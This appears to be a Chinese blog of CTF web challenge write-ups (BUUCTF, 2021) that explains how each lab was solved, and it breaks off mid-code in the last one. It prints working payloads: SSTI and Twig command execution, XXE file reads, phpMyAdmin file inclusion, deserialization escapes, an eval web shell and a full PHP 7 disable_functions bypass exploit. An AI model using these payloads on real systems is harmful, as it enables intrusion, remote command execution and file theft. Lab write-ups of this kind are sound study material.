a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

读文件的绕过有

1more:一页一页的显示档案内容
2less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3head:查看头几行
4tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5tail:查看尾几行
6nl:显示的时候,顺便输出行号
7od:以二进制的方式读取档案内容
8vi:一种编辑器,这个也可以查看
9vim:一种编辑器,这个也可以查看
10sort:可以查看
11uniq:可以查看
12file -f:报错出具体内容

摘自命令执行漏洞利用及绕过方式总结


[BJDCTF2020]Mark loves cat

git泄露

flag.php

1
2
3
<?php

$flag = file_get_contents('/flag');

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds); 
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

尝试输出$flag即可。exit()函数退出时也会输出。

第一个不可能实现,如果POST或GET传入flag的话必然导致$flag修改,那么正好符合第二个if。

payload

1
2
3
4
5
GET
?yds=flag

POST(任意,但是需要保证不传flag)
is=233flag

[BJDCTF2020]The mystery of ip

hint.php里面有注释

Do you know why i know your ip?

去flag.php尝试加入请求头x-forward-x、client-ip发现ip可以改变。然后是自己感觉网页很简单,突破点在请求头中,尝试了下ssti模板注入,发现成功了。

尝试了几个ssti的payload不行,但是提示了

Uncaught –> Smarty Compiler:…………………

得知了这个是Smarty引擎,在网上尝试搜索这种类型的注入

1
2
请求:
X-Forwarded-For: {system('cat /flag')}

SSTI神器–Tplmap,看介绍是和sqlmap差不多的工具。

这个师傅的博客写的很全:https://www.cnblogs.com/R3col/p/12746485.html,所有类型的模板引擎payload都有,注入之前需要先确定类型。

CTF SSTI(服务器模板注入)

flask之ssti模版注入从零到入门


[GWCTF 2019]我有一个数据库

页面是乱码,想知道内容了可以看下图

$$各种乱码图

对照的是古文码。是以GBK方式读取UTF-8编码的中文,我举个例子,使用vscode,先通过编码保存–>GBK,再通过编码打开–>UTF-8。内容如下

我有一个数据库,但里面什么也没有~ 不信你找

提示是数据库了,那么果断尝试PHPmyadmin,访问成功,然后查看下版本,去网上搜索对应版本的漏洞

phpmyadmin4.8.1后台getshell

payload

1
/phpmyadmin/index.php?target=db_sql.php%253f../../../../../../flag

可以包含任意文件,理应可以包含数据库文件,在数据库表字段写shell,没成不知道数据库文件名称


2021.03.01


[BJDCTF2020]ZJCTF,不过如此

绕过

第一层用php伪协议中的data封装流。PHP伪协议总结

然后进入文件包含,提示包含next.php文件,还是使用php伪协议中的php://filter

payload

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

读出来的next.php

1
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里想要通过需要知道一个深入研究 preg_replace /e 模式下的代码漏洞问题

最终payload

1
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[De1CTF 2019]SSRF Me

进入页面是一堆源码,之前写过flask的可以大概理出来几个重要的点,但是还是贴一下源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if (not os.path.exists(self.sandbox)):  # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)  # 此处是文件读取得注入点
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if (waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

简单说明思路:

请求部分(代码69-78):

获取的param是需要打开文件的名称,提示中已经写出flag在flag.txt。根据使用函数,可以使用get传参
读取文件需要在cookie里传入参数action、sign
action是执行类型,代码33行和43行指出了两种。
sing是用来验证param和action的,相关函数在94行,稍后做解释

获取sign部分(61-66)

获取param,action固定为scan
返回(secert_key + param + action)组合的sign

所以我们需要先获取sign,获取sign时包含的param和action,再去请求文件获得flag,并且获取flag时会验证sign是否符合格式(代码32行、54-58行)。因为获取sign时action固定为scan(代码65),但是请求中我们需要使用read才可以访问,所以构造payload。

假如param=flag.txt,获取sign时action固定值为scan,此时的sign为(使用|仅为说明使用,其实字符串是相连的)

1
secert_key|flag.txt|scan

但是我们想要使用read,可以构造param为flag.txtread

1
secert_key|flag.txtread|scan

再进行验证的时候我们传入param为flag.txt,action为readscan即可符合格式。

1
secert_key|flag.txt|readscan

请求/geneSign

1
/geneSign?param=flag.txtread

得到

1
9017a8826b7267833f22c0f22d90fea7

得到sign以后,再去访问/De1ta

1
2
3
/De1ta?param=flag.txt

sign=9017a8826b7267833f22c0f22d90fea7;action=readscan;

获得flag


[网鼎杯 2020 朱雀组]phpweb

看源码,有一个表单和自动提交的js。表单参数为

1
func=date&p=Y-m-d+h%3Ai%3As+a

是一个获取时间的函数。尝试注入点func是函数,就试试常见的读取文件函数readfile可以读取index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

我没思路了,看的网上wp。使用了反序列化unserialize,实在是太斯巴拉西了。

先构造Test对象,对象销毁时也会执行gettime函数执行payload,记得要加一层urlencode,不然会被拦下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    class Test {
        var $p = "ls ../../../../";
        
        var $func = "system";
    }
$s=new Test();
echo urlencode(serialize($s));
#unserialize

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A15%3A%22ls+..%2F..%2F..%2F..%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

wp使用的是find指令找的flag地址,但是我执行以后出现503,应该是服务器防火墙阳气过盛,但是使用ls的方法一个一个找也能找得到。flag在/tmp/flagoefiu4r93

1
2
POST
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A18%3A%22ls+..%2F..%2F..%2F..%2Ftmp%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

最后读文件

1
func=readfile&p=../../../../tmp/flagoefiu4r93

[GKCTF2020]CheckIN

是用base64解码执行代码,使用Ginkgo接收,GET、POST都可以

1
2
phpinfo();
cGhwaW5mbygpOw==

查看php版本和disable_function,被禁用一大堆,包括好多命令执行函数

可以使用print_r()、var_dump()输出,scandir()看目录,file_get_contents()读文件内容。

scandir根目录查看

1
?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcuLi8uLi8uLi8uLi8nKSk7

又一个flag读不出来,但是还有一个readflag可以读出来,文件前缀是ELF,百度以后知道是linux的可执行文件

传码

1
2
eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

蚁剑连接。但是system()被禁,只能使用disable_function绕过,之前有一道RCE ME也是用绕过,但是在这道题不管用了。在网上看wp知道了另一种,利用php7堆溢出触发,我修改了下payload部分(11行):

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("../../.././readflag");   #这里是想要执行的命令

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

在蚁剑可以看出tmp文件夹权限可以上传,上传以后使用文件包含输出执行结果。文件包含payload

1
?Ginkgo=aW5jbHVkZSgnL3RtcC9waHA3LWdjLWJ5cGFzcy5waHAnKTs=

03.02


[NCTF2019]Fake XML cookbook

根据题目是XML,首先想到是XXE,虽然咱没学过但是可以去搜简单的payload。

使用bp抓个包,POST中传入的是标签格式,可以确定是XXE类型的题目

1
2
3
4
5
POST
Content-Type: application/xml;


<user><username>1</username><password>2</password></user>

去摸一个payload试试

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

成功读取文件

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302110439.png

把路径改为/flag,获得flag


[ASIS 2019]Unicorn shop

这道题绝活。学到了unicode的安全问题:浅谈Unicode设计的安全性,看了wp。

进入网站一个本杰明·富兰克林至理名言:

金钱从来不会使人幸福,也不会使人幸福;它的本性中没有任何东西可以产生幸福。幸福拥有的越多,想要的就越多

差点信了,我就要赚钱花(小声bb)

下面两个输入框,一个ID一个钱,上面一个独角兽商品列表,一看就是让买东西,但是1-3商品输入ID都提示错误,只有第四个可以买到,但是第四个输入钱的时候只能输入1位,然鹅4号价格是1377,显然买不到,输入多个又提示 ,所以思路就是找一个unicode字符,它的数字格式值是大于1377的。

一个和unicode有关的网站:https://www.compart.com/en/unicode

网站导航栏找到Character Categories分类,这个下有三个和数相关的:Decimal Number、Letter Number、Other Number,第一个里面都是正常数值的unicode,建议去后面两个找。怎么找:Ctrl+F搜索thousand,找1377以上的都可。

我选的是这个数值是1w,直接传传不过去,使用url编码一次再传。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302113544.png


[BJDCTF2020]Cookie is so stable

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210304092035.png

这道题和The mystery of ip的网站一样,还有可能是ssti,hint.php的注释里有

Why not take a closer look at cookies?

去flag.php提交个1之后,看cookie为

1
Cookie: PHPSESSID=dba9ac7cbddf1983cbac508b01f8cdf2; user=1

一目了然,接下来就是找payload。再使用之前的

1
{system('cat /flag')}

被拦下来了,说明加强了过滤。在这之后去看了wp,网上的wp都是直接给出了payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

我是受了这位师傅的文章启发,又去结合了下这道题的源码才搞明白。

这道题在渲染之前使用了twig模板:

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

我同样在题目的源码中找到了render()方法和Twig_Environment配置信息

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302160322.png

然后payload的具体原理在的Environment.php中,贴一下和payload相关部分:

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302160722.png

  1. 先执行{{_self.env.registerUndefinedFilterCallback("exec")}}调用了registerUndefinedFilterCallback()函数(图中884行),注册了一个未定义的函数到filterCallbacks全局变量中
  2. 接着执行{{_self.env.getFilter("whoami")}}调用了getFilter()函数,并传入变量$name值为执行的命令,当函数执行到图中代码875行时,进入循环执行了call_user_func(),这个函数大伙肯定不陌生:call_user_func 可以把第一个参数作为回调函数调用,调用的参数来源就是第一步中注册的filterCallbacks全局变量,里边已经躺好了一个刚刚注册的exec,至此就形成了payload

小彩蛋

现在(2021年3月2日16:32:44)刚好做完题,想回到BUU上整理过程,发现502了,然后去群里就看到了

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302163452.png

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210302163636.png

挺草的记一下。


[CISCN 2019 初赛]Love Math

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

快被搞死了,是一道有过滤限制的RCE,半天没有头绪就去看wp了。

刷题记录:[CISCN 2019 初赛]Love Math

最后自己琢磨出来了一个payload,思路当然还是参考上面师傅博客的。

利用$whitelist里的函数名称和数字遍历异或^,Fuzz找出来需要的字母,然后拼接一个_GET传参执行命令。

Fuzz的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

$exp='';
for ($i=0; $i < count($whitelist); $i++) { 
	for ($j=0; $j < 1000; $j++) { 
		$exp=$whitelist[$i]^$j."";
		echo $whitelist[$i]."^".$j."----".$exp;
		echo "\n";
	}
}

需要知道的有,php某个版本以后可以使用函数名加()的方式调用函数,如

1
2
3
4
5
<?php

echo base_convert("strtoupper", 36, 10);
$cos=base_convert("2927671435926243", 10, 36);
echo "\n".$cos("abc");

上面代码是把字符串strtoupper赋值到变量$cos,然后直接使用$cos()执行strtoupper()函数。代码中使用base_convert函数也是这道题的一种思路哦。﹙ˊ_>ˋ﹚

还需要知道的是异或的时候会提示:字符串和数字不能直接异或,使用括号()括起来就可以了。$如果直接拼接到字符串上也是不可以的,需要使用形如$$cos才可以正确的指向变量。

最终payload:

1
?c=$cos=(is_finite^(6).(4)).(rad2deg^(7).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=cat /flag

[0CTF 2016]piapiapia

使用目录扫描发现了www.zip网站备份。

网站结构

static

upload

class.php

config.php

index.php

profile.php

register.php

update.php

发现有register就去注册个试试呗

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210309102253.png

注册成功就跳转到update.php界面了,是个修改信息的,查看源码,修改信息有手机号

邮箱、昵称、图片,还用了一些正则表达式过滤,如手机必须11位、邮箱有@和点、昵称长度不大于10、图片名称使用了md5进行加密。填写信息以后跳转到了profile.php页面。注意到图片所在的标签是:

1
<img src="data:image/gif;base64,.......

查看源码profile.php中是这样的

1
2
3
4
5
$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

读取文件以后使用base64加密的话上传的地方肯定是不能用图片马什么的了。还注意到使用了unserialize,序列化也是思路。想试试直接读flag所在文件,在config.php中找到了flag所在地

1
2
3
4
5
6
7
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

下载的源码肯定不会把flag直接给你,要相办法读这个文件。看到了数据库配置,感觉序列化的对象应该也是从数据库读出来的,还有一个文件没有看:class.php,顺便跟进一下user对象相关的,注意到了注册和登陆都使用到了一个函数:filter

1
2
$username = parent::filter($username);
$password = parent::filter($password);

跟进一下

1
2
3
4
5
6
7
8
9
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

过滤_,select、insert、update、delete、where会被替换成hacker,where长度是5,hacker长度是6,敏感一点的应该想到了序列化字符串对象也是用字符串长度的,这样长度改变的话,可以使用PHP反序列化字符串逃逸,序列化的结尾是";}可以手动构造闭合。

现在整理下思路。图片属性那里可以读文件,过滤函数会导致序列化字符串逃逸,所以就构造photo读取config.php。那么逃逸的点在哪里?电话只能是数字,邮箱需要有@等字符,图片会被md5加密,昵称哪里虽然有长度限制,但是如果我们传入数组的话就可以绕过。那么开工

先上payload

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

⭐参考了其他的好多博客,这里的点讲的很模糊,原来长度为5的字符串变成了长度为6的,应该是更不可能读不到payload的。

受到了这位师傅的博客[0CTF 2016]piapiapia,我尝试了下$profile属性其实是一个关联数组,是键值对形式的,并且字符串可能是嵌套起来的,形如

1
2
3
4
5
6
7
<?php
class profile{
	public $file = 'a:2:{s:8:"nickname";s:5:"where";s:5:"photo";s:3:"233";}';
	public $upload ="2333";
}
$s1= new profile();
echo serialize($s1);

结果是

1
O:7:"profile":2:{s:4:"file";s:56:"a:2:{s:8:"nickname";s:15:"where";s:5:"photo";s:3:"233";}";s:6:"upload";s:4:"2333";}

这种格式的,假如我们的payload是修改上面的upload,在一个字符串总长度s如上面的56读取所有变长的hacker以后,到了我们的payload地方,正常把我们构造的upload读取为对象,而后面真正的upload字符串就被舍去了。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310103923.png

报错是因为nickname我们传入的是数组形式的,源代码里直接对数组进行操作肯定是报错的,但是我们需要的只有photo正常即可,可以看到后面我们文件更新成功了。

查看页面的图片内容

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310103720.png

base64解码

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310103747.png


[SUCTF 2019]Pythonginx

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310100334.png

整理一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
